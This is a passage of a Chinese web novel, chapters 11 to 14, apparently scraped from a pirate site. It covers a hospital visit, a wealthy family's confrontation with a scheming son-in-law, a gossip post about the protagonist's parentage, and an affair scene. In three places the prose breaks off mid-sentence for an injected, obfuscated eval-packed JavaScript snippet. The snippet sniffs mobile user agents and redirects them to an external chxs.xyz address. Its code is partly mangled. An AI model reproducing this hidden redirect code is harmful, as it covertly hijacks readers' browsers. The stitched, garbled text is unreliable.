“我、”他看着那双灰蒙蒙的眼睛,头皮发麻,顾央身上带着股很阴湿的气质,不笑的时候格外突兀,但就算是笑起来,底色也依然是冰冷的。 “不觉得很难看吗?“顾央松开了他,朝宋引星走过去,只丢下一句话,“这个教室你负责扫干净。” 丁子雨的脸色唰得一下惨白,因为顾央的话。 在带着宋引星从楼梯上下去之前,顾央跟想到了什么似的转过了头:“对了,到时候如果又出了什么问题,我会来找你。” 他脸上还在笑,但笑意很难染到眼底。 丁子雨诚惶诚恐地点头。 直到完全走出去后,宋引星终于从刚刚那份浑浑噩噩任人牵引的状态里挣脱出来。 他缓缓松开自己掐进掌心的指甲,抬头神色复杂地看着顾央。 “我又欠了你一次。” “又欠了吗?”外面的风很大,顾央理了下大衣,“你不觉得别扭吗?反正我也就是在仗势欺人而已。” 宋引星脸上闪过茫然,但最终也只是按照自己心里的想法摇了摇头:“这不一样。” “谢谢你出面帮我,我接下来……还要去医院陪床,我妈妈生了病。”这是宋引星从来没有在任何人面前透露过自己的家庭情况,他清楚这是自己的软肋,是在这所学校中绝对不能暴露出来的东西。 但在这一刻,他早就已经封闭冷漠的内心,却因为对方仅仅可能是举手之劳的动作,久违地软弱了起来。 他郑重地颔首致谢,然后便打算告辞 “你要去医院看你妈妈啊,你能把我一起带去吗?我也好想去看看。”顾央吃了主角这么久的瓜,心里相当好奇想要看看现场情况,顺口就问了出来。 宋引星猝不及防一愣,内心的迷茫瞬间转移到了脸上。 “啊?” 11. 第 11 章 “所以说,你因为有点好奇,就在宋引星提了一句后,直接表示要跟他一起去医院看看?” 耳机那头,余白震惊的声音传来。 “我确认一下,你们昨天是第一次见面吧?” “第一次。” “你跟他妈妈应该也不至于有什么交情,对吧。” “当然没有。” “那到底为什么……”余白此句话省略了太多,“算了,你开心就好。” “对了,我跟你讲,去医院探望病人是要提果篮啊牛奶啊这些东西的噢,空着手不太好。” “余白。”顾央认真地问道,“我在你心里是弱智吗?“ 那不然呢?余白默默咆哮。 他真的很想提着顾央的领子问问他,到底是什么样的脑回路,才会在一个仅仅见过两次面的普通同学提出要去医院照顾重病住院的母亲时,非常自然地要跟着一起去看看。 他真多余打这个电话。 医院门口的水果店里,老板娘提供了常用的搭配方案,顾央没想太多,直接指了价格最高的那档。 “行了,我忙着,先不跟你说了。”顾央挂断电话,付完钱后就拎篮走人。 被要求站在门口等他的宋引星,看了眼他买的东西,也没说什么,默默地带他走了进去。 医院的住院大楼里充斥着一股消毒水的味道,顾央跟在宋引星后面,打量着周围的环境。 “待会进去可能会有点吵。”宋引星提前打了预防针。 他妈妈住的是四人病房,走进去第二个位置,左右都是人,咳嗽和鼾声双重奏,加杂着陪床家属带着方言的唠家常。 顾央走进去前微妙地顿了好几秒。 拉开遮挡帘时,坐在里面中年妇女对宋引星点了下头:“小宋放学了啊,你妈妈今天情况还不错,输完液就睡了,没有惊动到医生。” 接着她又跟宋引星交代了吃药和打点滴的事情,然后就起身离开了。 “你家护工还挺好心的,还帮别人收拾东西。”顾央往旁边看了眼。 “不算我家的,我请的本来就是一对多。”宋引星意识到顾央可能没懂,“她要照顾好几个病人,不可能一直待在我们这边。” “这样的价格会便宜点。”说到这里,他不太自在地剜了下手心。 青春期正是自尊心强盛的时候,加上他所就读的明德高中有钱人遍地走,明里暗里的差距,以及偶尔会遭受到的冷嘲热讽,都让宋引星的心思无意识地敏感。 但顾央只是噢了一声,过于平淡的反应不属于宋引星心里预料的任何一种,反而打了他个措手不及。 幸好在这时,原本打盹的宋母醒了过来:“星星回来了啊。” 她慢慢转过头,看到了旁边的顾央:“这位是……” “妈,他叫顾央,是我的同学。” “哦哦,同学啊。”宋母吃力地做了个往上用力的动作,宋引星见状赶紧把病床给摇上去,“真是难为你,还特地陪星星过来医院,我这里乱糟糟的不说,还没什么好招待你的。” “哪里,是我打扰了,这是我的一点心意。”顾央礼貌地笑了笑,把果篮放到边上。 宋母的表情更加柔和了些,她还想说话,却一不小心牵扯到了气管,呛咳了好几下,宋引星坐到旁边给她拍背捋气。 “没事。”宋母摆了下手,“你这孩子也是,哪有把同学往医院里带的啊。” “放学了去电影院看个电影,或者一起吃顿饭不好吗?干嘛一天到晚守在我旁边,我都说了我人还清醒的时候,就不用动不动就陪床了,护工也没必要请,浪费那个钱干什么……” “妈!”宋引星有些窘迫地轻声打断,下意识看了眼站在旁边的人。 顾央的脸上始终挂着不多不少的笑容,没什么温度,但也确实无可挑剔,给人以一种凉薄而端庄的感觉。 “行行行,我不说了还不行,多讲几句就嫌我唠叨。”宋母对着顾央笑,“你们现在的年轻人一个比一个有主见。” “引星本来就非常优秀。”顾央微微颔首,“这也是阿姨教得好。” 外面进来了个小护士,询问121床病人家属在不在,宋引星连忙出去,带着被这句称呼亲昵的夸赞烫到的耳廓。 被遮挡帘隔绝的房间里只剩下了顾央和宋母两人。 宋母望着他,长长地舒了口气。 “你还是星星第一个带来见我的同学。” 顾央心想这句台词莫名有点耳熟。 小说里都爱这么写,你是少爷带回来的第一个女人。 “星星说你叫顾央,是那个做珠宝生意的顾家吗?” 顾央点了点头。 宋母笑了下:“我还没查出病之前,就是给一个富太太做事情,稍微了解点,你别见怪。” 宋母没有多言,但顾央知道她口中的那个富太太指的就是聂夫人。 “别看我刚刚那么说,其实我心里很开心的。”宋母用浑浊的,但饱含温情的目光说道,“因为我的病,他从初中起忙着照顾我,都没什么时间和班里的人相处。” “后来中考后他又自己做主,去了明德高中,我知道那里面都是少爷小姐读书的地方,那孩子性子太倔,又有点独,我怕星星跟他们处不来,受他们欺负,现在看来是我想太多了。” 不,其实你猜的挺准的。 顾央默默想着。 “这样我也就能放心了。”宋母闭上了眼睛,这段话似乎耗完了她养了一天的力气。 不知道过了多久,宋引星从外面走进来,抬起遮挡帘后看到里面的景象。 “好像又睡过去了。”顾央没有转身,低头不知道在干什么。 宋引星走过去,替他的母亲掖好了被子:“抱歉了,刚刚跟医生谈了会话,现在时间也不早了,我先送你出去……你在干什么?” 他看到顾央居然拿了把小刀在削苹果。 “本来想给你妈妈准备点水果。”顾央把削完的苹果递给了他,“现在给你好了。” “这次我提得这么突然,有没有把你吓一跳?”顾央把削出来的皮一块块整理进塑料袋里打算扔掉,“这个苹果给你,就不许再想这件事了。” 原来你知道啊。 宋引星还没来得及震惊于对方的自我程度,他连忙抬手:“等等,这皮你先别扔掉,太浪……算了你放这里就好,我来弄。” 将顾央送出医院门口目送他打车离开后,宋引星才有时间仔细欣赏手里的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807865|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说真的,他还是第一次见到这么棱角分明的苹果。 他慢慢地送到嘴边咬了一口。 好甜。 汁水在嘴巴里散开,宋引星已经记不得多少时间没有吃过这么甜的水果了。 以前他妈妈身体还没有倒下时,偶尔会带回一些主人家不要的水果,回到家切成果盘给他们吃。 这段记忆太过遥远,美好得都蒙上了一模糊的滤镜。 -顾家。 顾央将脱下来的大衣递给迎上来的帮佣,穿过大厅时,他看到了什么,脸上露出了很明显的嫌弃表情。 正当顾央打算直接上楼梯时,一个声音叫住了他。 “这么急着上去干什么,不先过来吃个饭吗?” 顾央搭在扶手上,冷淡说道:“不饿。” “王妈,再准备一份餐具。” 原本在厨房忙碌的中年女人走了出来,她飞快地扫了眼坐在餐桌边上的男生,又为难地看了下顾央。 “王妈,动作快点,菜都要冷了,我哥可娇气地很,别到时候又折腾出胃病来。” 再次被催促后,王妈只能赶紧照办。 空处摆放好餐具,椅子被轻轻地拉开,顾央坐了下来。 坐在对面的男生脸上微微一笑,他周身带着股躁动的矜贵感,显得非常目中无人。 顾清许,比他稍微不那么炮灰一点的炮灰角色,聂瑛臭味相投的死党,在主角攻受的拉扯中承担嘲讽拉踩宋引星的作用。 “真的一点也不饿?”顾清许打量着顾央放空的表情,“这么晚才回来,在外面吃过饭了?跟谁一起吃的?贺明安?” 顾央没有理他。 “行吧,就算你不吃饭,坐在这里陪陪我吧,一个人吃还怪无聊的。”顾清许自顾自地说道。 顾央低头玩起了手机。 从聊天界面最上面开始刷起,先回复了贺明安问他回去了没有的消息,紧接着是余白的八卦。 “下周就是聂瑛的成人礼,你也一起去趟吧。”顾清许说道。 “不要,我又没有被邀请。” “那还真是让你失望了,阿瑛之前跟我提过你。”顾清许脸上露出了个古怪的笑容,“这么多年了,你从来都没去过,去这么一次要求不过分吧。” 居然还主动邀请他。 看起来聂瑛是真的一点内情也不知道,聂夫人的保密工作做得还真是出色,不鸣则已,一鸣就来个大的。 “是吗?那就去吧。” “我就知道你要拒绝,那我只能让我爸来劝劝……”顾清许还沉浸在自己的节奏里面,反应过来后突然卡住了。 怎么答应地这么痛快。 顾央本来也没打算去,毕竟在原书里,聂夫人只是在悄悄将聂瑛叫到房间里面给了他那份亲子鉴定,并没有癫到打印出来让每一位宾客见者有份,所以他也没必要硬要过去看热闹。 但既然聂瑛都这么邀请他了。 他到时候就见机行事,看看能不能把聂瑛那点破事给抖抖出来好了。 毕竟他真的是个很记仇的人。 聊天界面往下滑,是应佳仪给他的留言,放学时的事情,那时候他没时间看手机。 内容很简单,邀请他明天过来看场好戏。 12. 第 12 章 应家的老宅其实离顾央住的地方很近,但刘朝尹夫妇在很早以前就搬出去自立门户了。 说是为了方便二人世界,但这明显就是刘朝尹的托词。不同于心思单纯控制的爱人,应雪瑛的父母都是经历过无数商战磨练出来的人精,很难糊弄。 对于刘朝尹这种满脑子想要打歪心思的人来说,在对方眼皮子底下生活,自然是做什么都不方便。 而今天应佳仪约顾央过来的地方却就是在应家老宅。 “很久没来过这地方了。”顾央环视了圈周围外景,“上次还是你爷爷六十大寿的时候。” “你说的都是八年前的事情了。”应佳仪嘲讽地笑了下,“你敢信吗?我上一次来这里的时间跟你居然是同一次。” “哈?为什么。”顾央歪了下头。 应佳仪深吸了口气:“还不是我爸……算了,我们先进去吧。” 才几天没见的功夫,应佳仪发生了翻天覆地的变化,不再是以前那个一眼就可以看穿的富贵大小姐,周身的气质都沉淀了下去。 “这不是小央吗,今天过来做客啊。”应雪瑛原本站在露台上发呆,她的脸色非常苍白,眼眶也还残留着红肿,但看到女儿带着同学走过来,脸上连忙抬起点笑容。 “阿姨好。”顾央问好,“佳仪邀请我过来坐会。” 就算是他再不会读空气,也能感受到这里现在的气氛有多凝固。 不是都说家丑不可外扬吗?应佳仪现在把他叫过来干嘛。 应佳仪和她妈妈对视,看着对方不解困惑的目光,轻轻地摇了摇头。 “外面风这么大,你们赶紧进屋子里来啊,别冻感冒了。”刘朝尹站在半掩着的门口扬着笑容殷切招呼。 只是没有人理他,应佳仪冷着张脸,扶着她妈妈往里面走进去。 “雪瑛,我想和你谈谈,你的身体……”刘朝尹脸上没有丝毫的尴尬,在应佳仪妈妈经过时,他低声说道,言语间满是恳求。 应雪瑛欲言又止,但看了眼神色冷漠的应佳仪后,终究是低下了头,一言不发走进了房间。 母女俩没有一个人为了他而停留,倒是最后进来的顾央在他面前停了几秒。 是毫不掩饰的从头打量到尾的目光,刘朝尹这几天焦头烂额,觉都睡不好,面容相当憔悴,早上起来时连胡子都没精力去剃。 他眼中闪过厌恶之色。 刘朝尹很讨厌顾央这种含着金汤勺出生的富家少爷,他们从来都不需要为了钱的事情而烦恼,但除了投胎时的运气好了点,又有哪点比得上他。 他在读高中的时候喜欢上了他们班里最漂亮的女孩,但那个女孩最终和一个富哥在一起了,他坚信那个富哥能赢他的唯一原因就只是有点臭钱而已。 后来不知道是不是早恋的原因,那个富哥和他的女神高考双双滑铁卢,反而是他,发挥超常考得非常之好。 但他还没来得及暗戳戳得意多久,就在班级里看到富哥要出国留学的消息。 这件事情几乎让他咬碎了牙,连带着收到录取通知书的时候都没有多少兴奋劲了,他像只阴暗的老鼠一样,天天偷窥着那个富哥的朋友圈,看着一条又一条国外生活分享,才惊觉过来高考的失利并没有给对方带来任何影响。 那些刺痛他的朋友圈里偶尔会出现他的女神,这件事情让他更加破防。 也不知道是怀着什么样的心情,他冲动之下申请了为期一年的交换生项目,去往了那个明明从来没有踏足过但却无比熟悉的国家。 虽然不需要学费,但由于汇率和消费力的原因,仅仅是房租和日常开销就已经够他受的了,他每天疲于在打工点和学校之间两头跑,根本没时间享受所谓的留学生活。 但没过多久,他就意识到了自己做了一个怎样正确的决定,这个决定改变了他的一生。 应氏集团是酒店行业里面的龙头,上到五星级酒店下到快捷连锁,产业扎根在很多国家。 就算是家里不从商的刘朝尹也能感受到,和它的体量相比,富哥的那点家底根本不算什么。 而在后来他上位后,轻轻松松就吞并掉了富哥家里的公司时,他就更加了解到了这一点。 从见到应雪瑛的第一眼开始他就想到了。 那是他的通天塔,是他想要跨越阶级的唯一救命稻草。 客厅里,应老爷子两人坐在中间的沙发上,他把手里的文件扔在了茶几上。 在看到那些文件的一瞬间,刘朝尹的眼神暗沉下来,但表情还算镇定。 顾央有两百度的近视,平时又不爱戴眼镜,他看不清上面的字,刚想凑过去一点,应佳仪直接起身全部拿过来递给了他。 “这不太合适吧。”两位老人目光灼灼地看了过来,顾央矜持地推托了一下。 “看吧。”应佳仪平静地说道,“本来就是叫你来现场吃瓜的。” 这份平静之下蕴藏着淡淡的疯感,顾央看了圈周围,看着她肃穆的外公外婆,憔悴的父亲和恍惚的母亲,突然就笑了出来。 至少在此时此刻,他觉得他和应佳仪是可以产生共鸣的。 他低头扫过手上的文件。 是散股的持有人变更证明,有一部分经过了好几次变动,但最终的名字都写着刘朝尹。 刘朝尹暗暗松了口气,这几天发生了太多事情,女儿对他的态度一落千丈,妻子不知道为何一言不发地回到了老家,他在公司的工作也遭受到来自董事会的质疑和调查。 原来都是因为这件事。 随着收集到手里的股份越来越多,他的动作迟早会被发现,但他还是想赌一下。 哪怕他现在能赚到的钱是曾经怎么也不敢想象的,人有了权利就会想要更多,现在高不成低不就的位置太让人难受了。 “爸,妈,这些原本都是我打算送给雪瑛的礼物,零碎的散股显不出我的诚意,所以这些年一直在悄悄收集。”刘朝尹脸上重新流露出微笑,他身上就是有种让人愿意聆听的风度翩翩的魅力,应雪瑛神色有些动容。 【应佳仪居然在高考前就发现了她爸的真面目,这里怎么不一样了。】 【不过这样也好,后面就没有那么多糟心事了,也不知道她有没有发现,她妈妈之所以患癌,根本不是偶然情况,是刘朝尹这么多年在补品里加料的缘故。】 【而且每年的体检报告,刘朝尹都悄悄做了替换,他早就知道应夫人已得癌,但一直没有告知,而是等着病情恶化,赘婿做到这地步,还真是丧尽天良啊。】 “够了。”应佳仪打断了刘朝尹的发言,她的头涨疼地厉害,过于残忍的真相让她整个人都处于分崩离析的边缘。 她记得很清楚,不管工作多忙,她爸也总会亲自给妈妈炖一碗补品来养身,这曾经是她眼中夫妻恩爱的证明,此刻却成为了一个笑话。 她用尽最后的力气看向外公外婆。 刘朝尹错愕地看着这个虽然被养得娇纵,但对自己向来尊敬的女儿。 应老爷子了然,他按照自己之前和外孙女的约定,下了通牒:“多说无益,我的心里已经有判断了。” “过几天集团会召开董事会,总裁的位置也该换一换了。” “等等,爸,我干得有什么问题吗?这么多年下来我一直兢兢业业,没有功劳也有苦劳啊——”刘朝尹着急地想要往前,但被听到动静进来的保镖给架住。 “另外你跟雪瑛的婚姻,我们也该重新谈谈了……” “爸——”这次出声的不仅仅是刘朝尹,还有下意识喊出来的应雪瑛,应老爷子脸色不变,继续他的话,“这件事本来我们就拟定过详细的婚前协定,也没什么异议,你净身出户就行,你还是把精力放在其他事情上吧。” “看在这么多年的岳婿情分上,我就提醒你一下,集团将以职务侵占等罪名起诉你,好好请个律师吧。” 在应老爷子抛出来的一句又一句话中,刘朝尹目眦欲裂,他不可置信地看向应雪瑛,后者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807866|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢直视,只是无措地看看自己的父母,又看看自己的女儿。 “行了,今天就到此为止,送客吧。”应老爷子下了逐客令后,两个身强力壮的保镖就架着刘朝尹把他请了出去,全然不顾对方嘴里已经语无伦次的措辞。 等人走后,房间里面彻底安静下来。雷已经扫完了,应佳仪在底下轻轻碰了下顾央,让他先出去避让避让。 应雪瑛这才张口:“爸,妈,怎么就闹到了离婚的地步,朝尹他只是……” “只是连续收了那么多年的散股?”应老夫人沉声说道,“不声不响的,想造反吗?” “雪瑛,你的丈夫不老实啊。”应老爷子淡淡地发话。 “但你们怎么就能确定,一定是他干了什么……” “妈,不是外公外婆,做决定的人是我。”应佳仪疲惫地开口,“我能确定,非常确定。” 应雪瑛看着自己一夜之间突然长大了好多的女儿,一时间竟说不出话了。 “是你的女儿,佳仪提醒我们刘朝尹私底下的小动作,也是她提出要今天当堂对峙,她要确认一些事情,如果能够确认,她就求我们把你那丈夫逐出应家。” 应老夫人又问道:“这件事是顾家提醒的你?”她刚开始惊讶于自己外孙女居然在这种时候把顾家孩子带了过来,但也知道对方不是拎不清的人。 “多的我没法说,但这些真的都是真的。”应佳仪扶着靠背站了起来,她不忍心地别过头,“麻烦您再去查一下姓刘的给妈妈弄的那些补品,里面有问题,可能会查出来很重要的事情。” 交代完这些后,她赶紧跑出去透气,她怕再想这些,心态就要彻底炸了。 顾央正在外面的露台上吹风,他十指交叉着,手肘依靠在栏杆上,看着应佳仪走过来:“结束了?” “结束个头,这就是个开始。”应佳仪低声说道,“顾央。” “嗯?” 应佳仪在心里默默说了句谢谢,不管是什么起因,但确实是顾央避免了她原本可能相当悲惨的结局。 现在一切都还好,妈妈查出来的癌症是早期,她的外公也还没有从董事长的位置上辞退下来,有着绝对话语权可以快到斩乱麻。 “怎么样今天的瓜,够精彩吧?”不知道是不是因为对面的人是顾央,她现在居然还能自我调侃一句。 “还行吧。” 顾央平平的反应倒是给了应佳仪继续说下去的动力:“果然就不该相信什么穷小子和白富美之间的爱情故事。” “要不是我妈妈当时在法兰留学,因为语言问题累积了太多压力,也不至于遇到一个会说母语的同胞就能敞开心扉。” “你父母也是在法兰认识的?”顾央的表情有些微妙,他嘀咕了一句,“这地方是有什么特殊魔力吗?” “什么叫也。”应佳仪下意识问道。 “我的父母啊,也是留学的时候遇到的,据说是一见钟情,很快就闪婚了。” 应佳仪一怔,这还是她第一次从顾央嘴里听到对方谈起自己的父母。 “我好像都没怎么听到过你妈妈的事情。” “死太早了,她在这里又没什么认识的人,不是很正常吗?”顾央的语调漫不经心,像是在陈述一个和自己无关的故事。 也不是完全没有听过,应佳仪突然想起了很早以前听过的八卦。 说是当年的顾家兄弟曾经为了一个女人当众撕破过脸,惹得顾家老一辈的人都很不高兴。 后来顾家老大因为意外去世,那女人不久后也随之离去。 “当时都说是自杀,其实是有隐情吧。”应佳仪小心翼翼地观察着顾央的脸色。脑子里闪过猜测过的各种阴暗的豪门秘密。 她本来不该问道这个地步,但偏偏对面的人是脑回路异于常人的顾央。 一个敢问,一个敢答。 “哪有那么复杂,”顾央对她笑了下,“就是自杀的。” “我亲眼看到了。” 13. 第 13 章 「你现在晚上还是会经常性的失眠吗?」 「差不多吧。」 「那你觉得现阶段失眠的原因是什么?」 「你上次不是才问过我这个问题吗。」 「嗯,所以还是因为你的母亲是吗?」 沉默。 「你母亲的去世给你带来了非常大的影响,让你至今都无法释怀是吗?」 又是沉默。 「其实我觉得这是一个非常正常的情绪,你没有必要因此感到有压力。」 「也还好。」 「但我听你的描述,总觉得原因并不只是如此,它应该是更加复杂,更加交错。」 「有可能吧。」 「你和你的父亲关系好吗?你还记得他在你母亲死后大致是什么样的反应吗?」 「没什么反应,我爸死的更早点。」 「……这样啊,那你父母的关系如何?」 「挺好的。」想了想后又随意补充了句,「很腻歪,当初还是闪婚的。」 「有一件事我想确认一下,你父亲的死亡,会对你的母亲造成什么影响吗?」 再次长久的沉默后,就在咨询师觉得又该跳转话题时,面前的少年懒洋洋地回他。 “这关你什么事情?” 咨询师:“?” 他茫然地连自己要问的下一个问题都忘记了。 什么叫关我什么事?他从业这么多年,还是第一次在跟客户对话的时候,被对方问关你什么事? 接下来再怎么问,少年依然保持沉默,谈话时没有办法进行下去了,但高额的咨询费用早就已经支付,秉持着顾客是上帝的原则,咨询师好声好气地打圆场,亲自把人送了出去。 -“我给你推荐的咨询师你去试过了没?有没有直击到你的心灵?”余白讨功劳似的凑过来问道。 顾央抽书的手一顿,随即懒洋洋地说道,“能怎么样?说话温温吞吞的,问一句话能拐三个弯,还是上次那个有趣点。” “他起码会用怀表在我面前甩来甩去逗我笑,还让我在心里想象有块大石头,用意念去推开他。” “噢?哪个咨询所的啊?我怎么都没遇到过这种神棍,你把他联系方式给我一个,我也要去试试看。”叶郴眼睛一亮。 “联系方式在我这里,我推给你吧。”贺明安拿着手机,无可奈何,“阿央当时笑得太过分了,当场就被咨询师给拉黑,说不做他这笔生意了。” “还有那个咨询师不是神棍,他是精神分析流派的,业内口碑一直很好。” “班长,你是也在做心理咨询吗?”余白好奇地问了嘴。 “嗯。”贺明安笑眯眯地说道,“反正就是花钱找个人听你倒苦水,也没什么坏处嘛。” “这倒是,谁还没点想不开的破事。”余白一拍大腿,“就我推荐给顾央的那个咨询师,他人超级好,而且几句话就可以找到你的问题,每次被他开导完,我都感觉神清气爽的,整个人跟重生了一样。” “哪有这么夸张。”顾央嗤笑了一声,“不都差不多吗?” “我觉得你们两个的问题肯定不在他,而是在你身上。”余白叹息着摇了摇头,“反正情况肯定是不管他问什么,你只会说差不多,可能吧,关你什么事之类的话。” 他一边说,一边还去模仿顾央的神态。 顾央:“……” “闭嘴吧你。”顾央将脸伏进臂弯里,小小声说道,“哪有那么多话可以跟别人聊。” “但是阿央,有些东西一直藏在心里是不行的。”贺明安只有他一个人能听到的声调轻轻说道,“那些事会束缚住你,把你留在原地。” “只要他但凡有一点点想要解脱的想法,就会在心里隐秘地希望有人能够知道他的过去,理解他到底在因为什么而痛苦。” 贺明安的眼眸动了下:“即使这个过程会非常狼狈。” 一声闹铃响起,将他本就不大地声音彻底盖住。 “差点忘了差点忘了。”叶郴按掉了手机,“今天是程子时发新专辑的日子。” “这还有必要特地设个闹铃吗?你是程子时深柜吗?”谢坞毫不留情地拿他开涮。 “他们混娱乐圈不是最讲究销量吗?什么秒切啊24h数额。”叶郴笑嘻嘻地点进v博,“一想到他板着张死人脸捧着手机在那里不断刷新,我就觉得有趣。” 谢坞对于他的恶趣味只想翻白眼,但还没来得及嘲讽,叶郴惊讶的声音扬起。 “顾央,我怎么在热搜上还看到你了?” “什么什么?”余白一愣,拿起手机就想找,叶郴已经把链接发到了群里。 热搜名是简简单单的[明德高中]四个字。 点进去第一条就是一个营销号的爆料。 打着揭露某市豪门不为人知的秘辛作为标题,立刻就吸引了一堆吃瓜群众。 毕竟大家对于有钱人的生活都相当感兴趣。 标题用的代称,某G姓豪门兄弟二人曾为一女子反目成仇。 文中所述,哥哥曾在外留学期间与一女子确定恋人关系,怎料回国后弟弟也对该女子一见倾心,兄弟二人闹出诸多龌龊,结婚前夕,哥哥因车祸不幸离世,女子成为寡妇,但一段时间后被查出怀孕,在弟弟的照顾下产下一子。 这怀孕的时间点略显尴尬,因此G家中好几个长辈要求检测DNA,但不知为何最终还是不了了之,这让那孩子的身份顿时充满了疑点。 桃色新闻永远都是吃瓜群众的最爱,这条博文的下面顿时涌入了很多活人评论。 「嫂子开门,我是我哥(狗头.jpg)」 「后续呢后续呢,放瓜放一半,拉屎夹不断(怒.jpg)」 「所以那孩子到底是谁的,哥哥?弟弟?还是隔壁老王?」 「怎么跟明德高中的词条关联上了,那不是所很有名的贵族高中吗?」 「我就是明德高中的,这瓜我好像听过,G姓是首字母?有没有人来对答案。」 这层楼下面瞬间涌入几百条评论,在底下聊得热火朝天,一堆人在那里打哑谜,看着IP还都是本市的。 余白惊得不知道该说什么,G姓豪门,说的不会是顾央他们家吧。 他看着顾央一声不吭地在那里看手机,赶紧出来打岔:“哈哈哈哈哈现在的无良媒体也真是,随便编点料买个热搜就开始赚黑心钱了,谁知道有没有这个人……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807867|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有啊,这说的就是我。”顾央看完了全文,随即平静地开口。 “啊?”余白茫然地张大了口,他下意识问道,“这是可以说的吗?” “他们都知道啊,这点破事早就传翻了。”顾央依然平静,他从谢坞开始指起,每一个被他指到的人都没忍住移开了眼睛。 “这样啊,那这是真的吗?”余白傻傻问道,问完又恨不得把心直口快的自己扇一巴掌。 “你没看到这篇文写的吗?我当时就是个胚胎,你问我我问谁?” 余白赶紧打住,逃避地继续低头刷手机,结果居然看到朋友圈有人开始放图了。 那是一张很模糊的图片,图片里的人穿着穿的是明德高中秋季的制服,银灰色的衬衫搭配藏青色的毛衣马甲,普通的款式被他穿得相当出挑,侧颜的轮廓苍白秀丽,但眼睛被头发盖住,整张脸都不太真切。 苍天啊,这是谁放的照? 这也太不厚道了,本来就已经是挂在热搜词条上的事情,那么大的流量,万一被有心人顺藤摸瓜找到学校里,干出些什么疯狂的事情来可怎么办? 虽然没有正脸,但认识的人都能看出来,照片上的人明晃晃的就是顾央,而且从角度来看,很明显就是他们自己班里的人拍的。 “哇,这不会是我们班哪个人爆的料吧。”叶郴唯恐天下不乱,直接就把这个猜测说了出来,他看了眼这种乱糟糟情况下还在那里埋头看书的沈铭君,直接笑着开口问道,“沈铭君,你家里是不是有家做舆情公关的公司,这东西你熟呀。” 被点到名的沈铭君笔尖一顿,放在桌下的那只手握得指节发白,他风轻云淡地说道:“关我什么事,我现在又还没接手公司的事情,而且我对那点破事不感兴趣。” 他这几天烦心事也一堆,他妈妈那个妹妹带着儿子过来投奔他们,说是出了点事情没地方去。他极力阻止,但宋音音态度太软,而他爸一反常态地热情欢迎。 沈铭君记得很清楚,顾央之前的心声说过,他跟喻舟居然是同父异母,这件事情成为了压在他心头的一块大石头。 因为这句话只有一个含义。 他不敢去想那个恐怖的猜测。 他很想找顾央再打探打探情况,但怎么也拉不下这个脸。 “是不知道呢?还是假装不知道?”叶郴还在笑,但言语间的恶意藏都懒得藏。 沈铭君也起了火气,他冷笑一声:“玩什么文字游戏,想让别人不讨论,自己检点些不行吗?” 怼的是叶郴的话,但最终矛头还是指向顾央。 “怎么检点好呢?”顾央幽幽地开口接上,他的神色挑上点带刺的味道,尖锐地划破了那份一直笼罩在面上的,模模糊糊的抽离感,“像你和你妈妈那样吗?” 沈铭君的脸色骤变,原本负责输出的叶郴闭上了嘴,他的眼睛一下亮了起来,像是看到了什么绝佳的好戏。 “顾央你……” 还没等他话说完,一句心声在教室里响了起来。 【在后期的情节里,宋琴琴偶尔还会和沈山滚上一张床,果然是个神人。】 那个猜测再也无法自欺欺人地掩盖,沈铭君脑子中轰然一声,顿时失去了所有的力气和手段。 14. 第 14 章 沈家,二楼主卧。 沈山目色深沉地看着坐在梳妆台前,穿着真丝睡衣的女人。 “你为什么要穿着品……你姐姐的衣服。” 宋琴琴半侧过身,眼睛从下而下勾着对方:“既然要追求刺激,那就贯彻到底咯。” 已经四十岁的女人依然风韵犹存,还多了份岁月沉淀后别样的味道。 沈山心头一热,向来不苟言笑的脸色也难得露出笑容:“你好骚啊。” 小头瞬间支配了大头,沈山从后面抱了上去。 “我这么突然来你们家,沈总不会怪我吧。” “大家都是一家人,说什么怪不怪。” “哪方面的一家人呢。”宋琴琴故意问道。 “你心知肚明……”沈山亲昵地刮了下对方的鼻子,“虽然没有名分,但阿舟毕竟是我们俩的儿子,这份关系是无法动摇的。” “但在外面人看来,你的亲儿子可只有铭君一个人。” “我不是跟你说过了,以后铭君有的,阿舟也会有一份。”沈山感叹着说道,“我现在时常在想,当初是不是选错了人。” “阿舟可比铭君要能干得多,如果他是我名义上的儿子,我可该省心多了。” 宋琴琴嘴上嗔怪,但脸上幸福的笑容却怎么也藏不住,但下一秒,她笑容敛住,往门口那里看了一眼。 沈山说了这么些场面话,就要急不可耐地进入正题。 但总觉得哪里不对劲的宋琴琴没有刚刚那么主动,甚至还有点隐隐的拒绝。 “放心,那个保姆我给她支走出去了,你姐姐今天约了人去美容院,不到天黑不会回来的,阿舟和铭君这时候还在上课呢……” 房间里逐渐传来大和谐的声音。 